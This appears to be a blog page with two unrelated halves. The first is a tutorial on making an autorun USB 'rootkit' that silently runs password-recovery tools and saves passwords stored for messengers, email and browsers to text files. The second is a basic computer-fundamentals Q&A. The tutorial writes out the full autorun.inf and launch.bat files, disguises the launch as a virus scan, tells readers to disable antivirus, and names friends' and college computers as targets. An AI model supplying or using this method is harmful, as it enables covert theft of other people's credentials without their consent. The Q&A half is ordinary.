Today I will show you how to hack Passwords using an USB Pen Drive. As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedre to create the password hacking toolkit.

NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista

NOTE: This procedure will only recover the stored passwords (if any) on the Computer

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*** COMPUTER BASICS ***

1.What is computer?

Ans. A computer is an electronic device that executes the instructions in a program.

2.What are functions of Computer???

Ans.1.Accepts data.
2.processes data
3.produces output
4.Stores result.

3.What is a work station?

Ans.A workstation is part of a computer network and generally would be expected to have more than a regular desktop PC of most everything, like memory, storage space, and speed

4.What is Mainframe computer?

Ans. The main frame is the workhorse of the business world. A main frame is the heart of a network of computers or terminals which allows hundreds of people to work at the same time on the same data. It requires a special environment - cold and dry.

5.What is super computer?

Ans. The supercomputer is the top of the heap in power and expense. These are used for jobs that take massive amounts of calculating, like weather forecasting, engineering design and testing, serious decryption, economic forecasting, etc.

6.What is a Server?

Ans. The term server actually refers to a computer’s function rather than to a specific kind of computer. A server runs a network of computers. It handles the sharing of equipment like printers and the communication between computers on the network. For such tasks a computer would need to be somewhat more capable than a desktop computer. It would need:

· More power
· Larger memory
· Larger storage capacity
· High speed communications

7.What is mini computer?

Ans. The minicomputer has become less important since the PC has gotten so powerful on its own. In fact, the ordinary new PC is much more powerful than minicomputers used to be. Originally this size was developed to handle specific tasks, like engineering and CAD calculations, that tended to tie up the main frame.

8.What is graphical interface?

Ans. A graphical user interface (GUI- sometimes pronounced GOO-ee) uses pictures to make it easier for the user. It is more user friendly.
The example below is from Windows 95/98. The use of drop-down menus, windows, buttons, and icons was first successfully marketed by Apple on the Macintosh computer. These ideas are now as standard for graphical interfaces as door knobs are for doors.

9.What is spread sheet?

Ans.A spreadsheet is the application of choice for most documents that organize numbers, like budgets, financial statements, grade sheets, and sales records. A spreadsheet can perform simple or complex calculations on the numbers you enter
In rows and columns.

Some popular spreadsheets include MS Excel, Lotus 1-2-3, and Quattro Pro.

10.Types of inputs?

Ans. Data is the raw facts given to the computer.
Programs are the sets of instructions that direct the computer.
Commands are special codes or key words that the user inputs to perform a task, like RUN “ACCOUNTS”. These can be selected from a menu of commands like “Open” on the File menu. Clicking on a command button may also choose them.
Userresponse is the user’s answer to the computer’s question, such as choosing OK, YES, or NO or by typing in text, for example the name of a file.

11.Types of input devices?

Ans. Key board
Mouse
Game devices
Pen input,
Touch screen.

12.What is multimedia?

Ans. Multimedia is a combination of sound and images with text and graphics. This would include movies, animations, music, people talking, sound effects like the roar of a crowd and smashing glass.

13.What is data automation?

Ans. The first goal of data automation is to avoid mistakes in data entry by making the initial entering of the data as automatic as possible. Different situations require different methods and equipment.
A second goal of data automation is to avoid having to re-enter data to perform a different task with it.

14.What is OCR software?

Ans.Optical Character Recognition: This software takes a scanned image and converts the characters in the image into computer characters. The document can now be edited with a word processor. This is a very tricky process. Documents must be carefully checked for wrong conversions. If the original print was not very crisp and clean, errors are very likely. Manually checking for proper translation is necessary. These programs are getting really good if they have a clear scan to work with.

15.Different types of digital codes?

Ans. All letters, numbers, and symbols are assigned code values of 1’s and 0’s. Digital devices use a number of different digital coding schemes.
Three common code sets are:
ASCII (used in UNIX and DOS/Windows-based computers)
EBCDIC (for IBM System 390 main frames)
Unicode (for Windows NT and recent browsers)

16.What is CPU?

Ans.
.
The CPU, or Central Processing Unit, is the part of the computer where work gets done. In most computers, there is one processing chip.
Main Memory stores the commands that the CPU executes and the results.

17.What is control unit?

Ans. This is the part of the computer that controls the Machine Cycle. It takes numerous cycles to do even a simple addition of two numbers.

18.What is Machine cycle?

Ans.

Fetch-	get an instruction from Main Memory
Decode-	translate it into computer commands
Execute-	actually process the command
Store-	write the result to Main Memory

19.What is an ALU?
Ans. ALU stands for Arithmetic/Logic Unit
This is the part that executes the computer’s commands.
A command must be either a basic arithmetic operation:
+ - * /
or one of the logical comparisons:
> < = not =.
Everything else has to be broken down into these few operations. Only one operation is done in each Machine Cycle.
The ALU can only do one thing at a time but can work very, very fast.

20.What is an operating system?

Ans. It is an interface between user and computer.
Some common operating systems are DOS, various versions of Windows, OS/2, UNIX, LINUX, System 7. These all behave in very different ways and have different hardware requirements. So they won’t all run on all machines.

21.What is multitasking?

Ans. By taking turns with the Machine Cycle, modern computers can have several different programs running at once. This is called multi-tasking.

22.Types of output??

	Hard copy: printed on paper or other permanent media
	Soft copy: displayed on screen or by other non-permanent means

Ans.

23.Different types of output devices?

Ans. Different output devices are the printer and the computer screen.

24.What is function of main memory?

Ans. Main Memory = Primary Storage

Main memory keeps track of what is currently being processed. It’s volatile, meaning that turning the power off erases all of the data.

For Main Memory, computers use RAM, or Random Access Memory. These memory chips are the fastest, but most expensive, type of storage.

25.What is function of auxillary memory?

Ans. Auxiliary Storage = Secondary Storage

Auxiliary storage holds what is not currently being processed. This is the stuff that is “filed away”, but is ready to be pulled out when needed.
It is nonvolatile, meaning that turning the power off does not erase it.
Auxiliary Storage is used for:
· · Input - data and programs
· · Output - saving the results of processing
So, Auxiliary Storage is where you put last year’s tax info, addresses for old customers, programs you may or may not ever use, data you entered yesterday - everything that is not being used right now.

26.What is magnetic disk?

Ans. Of the various types of Auxiliary Storage, the types used most often involve some type of magnetic disk. These come in various sizes and materials, as we shall see. This method uses magnetism to store the data on a magnetic surface.
Advantages:high storage capacity
reliable
gives direct access to data
A drive spins the disk very quickly underneath a read/write head, which does what its name says. It reads data from a disk and writes data to a disk

27.Types of magnetic disks?

Ans. Diskette / Floppy Disk
5¼”
(not used much now!)

3½”
(starting to die out, too)

Both sizes are made of mylar with an oxide coating. The oxide provides the magnetic quality for the disk. The “floppy” part is what is inside the diskette covers - a very floppy piece of plastic (i.e. the mylar)

28.Tell about hard disk?

Ans. These consist of 1 or more metal platters which are sealed inside a case. The metal is one which is magnetic. The hard disk is usually installed inside the computer’s case, though there are removable and cartridge types, also.

Technically the hard drive is what controls the motion of the hard disks which contain the data. But most people use “hard disk” and “hard drive” interchangeably. They don’t make that mistake for floppy disks and floppy drives. It is clearer with floppies that the drive and the disk are separate things.

29.What is BIOS?

Ans. The BIOS (Basic Input/Output System) is a set of instructions on a ROM chip (Read-Only Memory) that controls how the hardware and the operating system communicate. It’s a very limited set of instructions.

30.What is system software?

Ans. System software is a catch-all term for the programs that handle the running of your computer’s hardware. The two main categories are: utility programs operating systems